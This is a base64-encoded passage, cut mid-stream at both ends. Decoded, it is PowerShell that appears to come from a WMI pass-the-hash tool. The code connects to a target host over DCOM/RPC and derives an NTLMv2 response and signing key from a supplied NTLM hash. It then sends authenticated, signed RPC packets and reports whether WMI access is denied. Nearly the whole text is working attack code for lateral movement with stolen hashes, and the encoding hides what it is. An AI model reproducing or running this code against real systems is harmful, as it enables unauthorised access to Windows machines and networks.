JE1FT1dfaW5kZXggLyAyDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkTUVPV19ieXRlc19pbmRleCArIDMyKS4uKCRNRU9XX2J5dGVzX2luZGV4ICsgMzkpXQ0KICAgICAgICAgICAgICAgICRJUElEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE1FT1dfYnl0ZXNfaW5kZXggKyA0OCkuLigkTUVPV19ieXRlc19pbmRleCArIDYzKV0NCiAgICAgICAgICAgICAgICAkT1hJRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJE9YSUQpDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkT1hJRCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAkT1hJRF9pbmRleCA9ICRNRU9XLkluZGV4T2YoJE9YSUQsJE1FT1dfaW5kZXggKyAxMDApDQogICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAkb2JqZWN0X1VVSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDEyKS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMjcpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJFdNSV9yYW5kb21fcG9ydCkNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNvbm5lY3RpbmcgdG8gJHRhcmdldF9sb25nYDokV01JX3JhbmRvbV9wb3J0X2ludCINCg0KICAgICAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsJFdNSV9yYW5kb21fcG9ydF9pbnQpDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZ2A6JFdNSV9yYW5kb21fcG9ydF9pbnQgZGlkIG5vdCByZXNwb25kIg0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiUmFuZG9tIHBvcnQgZXh0cmFjdGlvbiBmYWlsdXJlIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICB9DQoNCiAgICAgICAgaWYoJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdGVkKQ0KICAgICAgICB7DQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0gPSAkV01JX2NsaWVudF9yYW5kb21fcG9ydC5HZXRTdHJlYW0oKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAzIDB4MDAsMHgwMCAweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2IDB4MDAsMHgwMA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHhkMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9BdXRoTGVuZ3RoIl0gPSAweDI4LDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZXZlbCJdID0gMHgwNA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiXSA9IDB4OTcsMHg4MiwweDA4LDB4YTINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9pbmRleCA9ICRXTUlfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCA9ICRXTUlfTlRMTVNTUF9pbmRleCAvIDINCiAgICAgICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkV01JX2NsaWVudF9yZWNlaXZlDQogICAgICAgICAgICAkV01JX3Nlc3Npb25fSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQ0Li41MV0NCiAgICAgICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkV01JX2RvbWFpbl9sZW5ndGgpLi4oJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkV01JX2RvbWFpbl9sZW5ndGggKyAkV01JX3RhcmdldF9sZW5ndGgpXQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfdGltZV9ieXRlcyA9ICRXTUlfdGFyZ2V0X2RldGFpbHNbKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gMTIpLi4oJFdNSV90YXJnZXRfZGV0YWlscy5MZW5ndGggLSA1KV0NCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lID0gKGdldC1jaGlsZGl0ZW0gLXBhdGggZW52OmNvbXB1dGVybmFtZSkuVmFsdWUNCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbiA9ICREb21haW4NCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJGF1dGhfZG9tYWluKQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSAkYXV0aF9ob3N0bmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgICAgICAgICAkSE1BQ19NRDUgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuSE1BQ01ENQ0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZV9hbmRfdGFyZ2V0KQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZSA9IFtTdHJpbmddKDEuLjggfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAgICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzKQ0KICAgICAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2NvbnN0YW50ID0gMHg3MywweDY1LDB4NzMsMHg3MywweDY5LDB4NmYsMHg2ZSwweDIwLDB4NmIsMHg2NSwweDc5LDB4MjAsMHg3NCwweDZmLDB4MjAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDZjLDB4NjksMHg2NSwweDZlLDB4NzQsMHgyZCwweDc0LDB4NmYsMHgyZCwweDczLDB4NjUsMHg3MiwweDc2LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MiwweDIwLDB4NzMsMHg2OSwweDY3LDB4NmUsMHg2OSwweDZlLDB4NjcsMHgyMCwweDZiLDB4NjUsMHg3OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDIwLDB4NmQsMHg2MSwweDY3LDB4NjksMHg2MywweDIwLDB4NjMsMHg2ZiwweDZlLDB4NzMsMHg3NCwweDYxLDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3NCwweDAwDQoNCiAgICAgICAgICAgICRNRDUgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5Lk1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2tleSA9ICRNRDUuQ29tcHV0ZUhhc2goJHNlc3Npb25fYmFzZV9rZXkgKyAkY2xpZW50X3NpZ25pbmdfY29uc3RhbnQpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9ICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoWzAsMV0NCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCiAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDg4LDB4YTINCg0KICAgICAgICAgICAgJE5UTE1TU1BfcmVzcG9uc2UgPSAweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICRjbGllbnRfc2lnbmluZ19rZXkNCiAgICAgICAgICAgIFtCeXRlW11dJHNlcXVlbmNlX251bWJlciA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ0FVVEgzICROVExNU1NQX3Jlc3BvbnNlDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQ2FsbElEIl0gPSAweDAyLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQVVUSDNfQXV0aExldmVsIl0gPSAweDA0DQogICAgICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDgzIDc2IDE2IDQgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMywweDAwICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEIDB4ZDYsMHgxYywweDc4LDB4ZDQsMHhkMywweGU1LDB4ZGYsMHg0NCwweGFkLDB4OTQsMHg5MywweDBlLDB4ZmUsMHg0OCwweGE4LDB4ODcNCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgNCAweDA0ICRzZXF1ZW5jZV9udW1iZXINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJHJlbV9xdWVyeV9pbnRlcmZhY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJGNsaWVudF9zaWduaW5nX2tleQ0KICAgICAgICAgICAgJFJQQ19zaWduYXR1cmUgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHNlcXVlbmNlX251bWJlciArICRSUEMgKyAkcmVtX3F1ZXJ5X2ludGVyZmFjZSArICROVExNU1NQX3ZlcmlmaWVyWzAuLjExXSkNCiAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJFJQQ19zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllclsiTlRMTVNTUFZlcmlmaWVyX05UTE1TU1BWZXJpZmllckNoZWNrc3VtIl0gPSAkUlBDX3NpZ25hdHVyZQ0KICAgICAgICAgICAgJE5UTE1TU1BfdmVyaWZpZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXINCiAgICAgICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDICsgJHJlbV9xdWVyeV9pbnRlcmZhY2UgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ2V4aXQnDQoNCiAgICAgICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIFdNSSBhY2Nlc3MgZGVuaWVkIG9uICR0YXJnZXRfbG9uZyIgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkZhaWxlZCB3aXRoIGVycm9yIGNvZGUgMHgkZXJyb3JfY29kZSINCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSAkV01JX2RhdGEgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAkT1hJRF9ieXRlc19pbmRleCA9ICRPWEl